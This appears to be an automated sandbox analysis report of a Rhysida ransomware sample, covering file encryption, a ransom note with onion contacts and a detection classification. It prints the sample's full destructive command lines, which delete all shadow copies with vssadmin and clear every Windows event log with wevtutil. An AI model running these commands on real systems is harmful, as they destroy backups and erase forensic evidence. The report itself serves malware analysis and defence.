Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\ro-ro\ui-strings.js.rhysida entropy: 7.99013114143	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\9b1662bee64658ff8dd184737a056510.png.rhysida entropy: 7.99768713896	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\a56350ec5a5b310e9f4c7e10e0b6795c.png.rhysida entropy: 7.99941119921	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\desktop-readerRhp-chunk.js.rhysida entropy: 7.99191188815	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\b99178ba996d2b4a255b0f163dcb88ce.png.rhysida entropy: 7.99679319595	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\db3460ac8568d0137d4556570169e475.png.rhysida entropy: 7.99602515347	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\A12_Spinner_2x.gif.rhysida entropy: 7.99044421701	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\ko-kr\ui-strings.js.rhysida entropy: 7.99030633388	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\nb-no\ui-strings.js.rhysida entropy: 7.99048682571	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\pl-pl\ui-strings.js.rhysida entropy: 7.99004294117	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\desktop-ccxfeedback-popups-chunk.js.rhysida entropy: 7.99320187431	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\83bf4cfa63b712c6973a0d510a7b2c99.png.rhysida entropy: 7.99938641421	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\8479-chunk.js.rhysida entropy: 7.994938918	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\9216-chunk.js.rhysida entropy: 7.99558724804	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\desktop-filepicker-chunk.js.rhysida entropy: 7.99965190812	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\9488-chunk.js.rhysida entropy: 7.99165289846	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\ru-ru\ui-strings.js.rhysida entropy: 7.99388830883	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\6297-chunk.js.rhysida entropy: 7.99813653144	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\images\themes\dark\new_icons_retina.png.rhysida entropy: 7.99037988972	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\7279-chunk.js.rhysida entropy: 7.9978616942	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\c6534465ea418b6c252e2b74bc9e4bbb.png.rhysida entropy: 7.9993109153	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\images\new_icons_retina.png.rhysida entropy: 7.99008256451	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\8172-chunk.js.rhysida entropy: 7.99725388572	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\sv-se\ui-strings.js.rhysida entropy: 7.99007581841	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\uk-ua\ui-strings.js.rhysida entropy: 7.99227035187	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\9066745ff44b689b5cc89c3d73970f01.png.rhysida entropy: 7.99875234259	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\57686c0e32e1983d524fb6f8d46ca8c7.png.rhysida entropy: 7.99935381437	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\92bfb68adb54a6ec950196b4d39ccf3e.png.rhysida entropy: 7.99454747144	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\6b0215ed0a09075330a1c6dd3dbfba1d.png.rhysida entropy: 7.99203198925	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\b961cde276c90015f1db51975a470747.png.rhysida entropy: 7.99193244341	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\7ec969a62598fbfa1ee1eb8827a0f2e5.png.rhysida entropy: 7.99881139979	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\5251-chunk.js.rhysida entropy: 7.99440022345	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\4dddbe6058a486f7048673e4b143f7c4.png.rhysida entropy: 7.99040179961	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\6f43d8c6da907e34ab2028ef15733412.png.rhysida entropy: 7.99970399263	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\3379-chunk.js.rhysida entropy: 7.99916434789	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\1901-chunk.js.rhysida entropy: 7.9923408705	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\7363-chunk.js.rhysida entropy: 7.99752389199	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\229192ba6f3c6a8d242464d646d4ad63.png.rhysida entropy: 7.99273140159	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\4049-chunk.js.rhysida entropy: 7.99748435143	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\en-ae\ui-strings.js.rhysida entropy: 7.99050010793	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\1911-chunk.js.rhysida entropy: 7.99616995707	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\ENU\Standard.pdf.rhysida entropy: 7.99842320045	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\355f832ee6b21ce50f0d326b48af976f.png.rhysida entropy: 7.99057755585	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\179f135ab98d015965571a3d585f8c8f.png.rhysida entropy: 7.99643668459	Jump to dropped file
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf.rhysida entropy: 7.99673226535	Jump to dropped file

Source: wevtutil.exe

Process created: 65

Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_00425900	0_2_00425900
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_0043D4C0	0_2_0043D4C0
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_0041CE80	0_2_0041CE80
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_0041B070	0_2_0041B070
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_00426800	0_2_00426800
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_00431500	0_2_00431500
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_0042D390	0_2_0042D390
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_0044A8C0	0_2_0044A8C0
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_0043F100	0_2_0043F100
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_00429930	0_2_00429930
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_00424130	0_2_00424130
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_0043D130	0_2_0043D130
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_0043D9C0	0_2_0043D9C0
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_004369C0	0_2_004369C0
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_0042F980	0_2_0042F980
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_0041C1B0	0_2_0041C1B0
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_00442250	0_2_00442250
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_0044A200	0_2_0044A200
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_00438210	0_2_00438210
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_00431A20	0_2_00431A20
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_00436A30	0_2_00436A30
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_00442A90	0_2_00442A90
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_0042D370	0_2_0042D370
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_0042C340	0_2_0042C340
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_00433B40	0_2_00433B40
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_0042FC50	0_2_0042FC50
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_0043E4C0	0_2_0043E4C0
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_0043EC80	0_2_0043EC80
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_0041ACA0	0_2_0041ACA0
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_00431500	0_2_00431500
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_0040E5F2	0_2_0040E5F2
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_00448D90	0_2_00448D90
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_00424640	0_2_00424640
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_00441EE0	0_2_00441EE0
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_004386A0	0_2_004386A0
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_0042D740	0_2_0042D740
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_00435F00	0_2_00435F00
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_00431F20	0_2_00431F20
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: 0_2_00424FC0	0_2_00424FC0

Source: C:\Windows\System32\wevtutil.exe

Process token adjusted: Security

Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: String function: 0041F440 appears 252 times
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Code function: String function: 00449A00 appears 46 times

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 4276 -s 1300

Source: classification engine

Classification label: mal100.rans.evad.winEXE@1143/1030@0/0

Source: CriticalBreachDetected.pdf70.0.dr	Initial sample: https://www.torproject.org/download/
Source: CriticalBreachDetected.pdf70.0.dr	Initial sample: mailto:CandraNader@onionmail.org
Source: CriticalBreachDetected.pdf70.0.dr	Initial sample: http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/
Source: CriticalBreachDetected.pdf70.0.dr	Initial sample: mailto:LaquandaStrosin@onionmail.org

Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe

File created: C:\Program Files\CriticalBreachDetected.pdf

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7072:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2944:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4276

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\A914lykfa_72dbia_3as.tmp

Jump to behavior

Source: 5PPbtKZ2hR.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 5PPbtKZ2hR.exe

ReversingLabs: Detection: 72%

Source: unknown	Process created: C:\Users\user\Desktop\5PPbtKZ2hR.exe "C:\Users\user\Desktop\5PPbtKZ2hR.exe"
Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CriticalBreachDetected.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 4276 -s 1300
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin.exe Delete Shadows /All /Quiet
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cmd.exe /c for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wevtutil.exe el
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe el
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "AMSI/Debug"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "AirSpaceChannel"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Analytic"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Application"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "DirectShowFilterGraph"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "DirectShowPluginControl"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Els_Hyphenation/Analytic"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "EndpointMapper"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "FirstUXPerf-Analytic"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "ForwardedEvents"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "General Logging"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "HardwareEvents"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "IHM_DebugChannel"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS-GPIO/Analytic"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS-I2C/Analytic"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS2-GPIO2/Debug"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS2-GPIO2/Performance"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS2-I2C/Debug"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS2-I2C/Performance"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Internet Explorer"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Key Management Service"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "MF_MediaFoundationDeviceMFT"
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cmd.exe /c for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" --type=renderer /prefetch:1 "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CriticalBreachDetected.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin.exe Delete Shadows /All /Quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wevtutil.exe el
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "AMSI/Debug"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "AirSpaceChannel"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Analytic"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Application"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "DirectShowFilterGraph"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "DirectShowPluginControl"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Els_Hyphenation/Analytic"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "EndpointMapper"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "FirstUXPerf-Analytic"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "ForwardedEvents"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "General Logging"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "HardwareEvents"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "IHM_DebugChannel"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS-GPIO/Analytic"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS-I2C/Analytic"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS2-GPIO2/Debug"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS2-GPIO2/Performance"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS2-I2C/Debug"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS2-I2C/Performance"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Internet Explorer"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Key Management Service"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "MF_MediaFoundationDeviceMFT"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
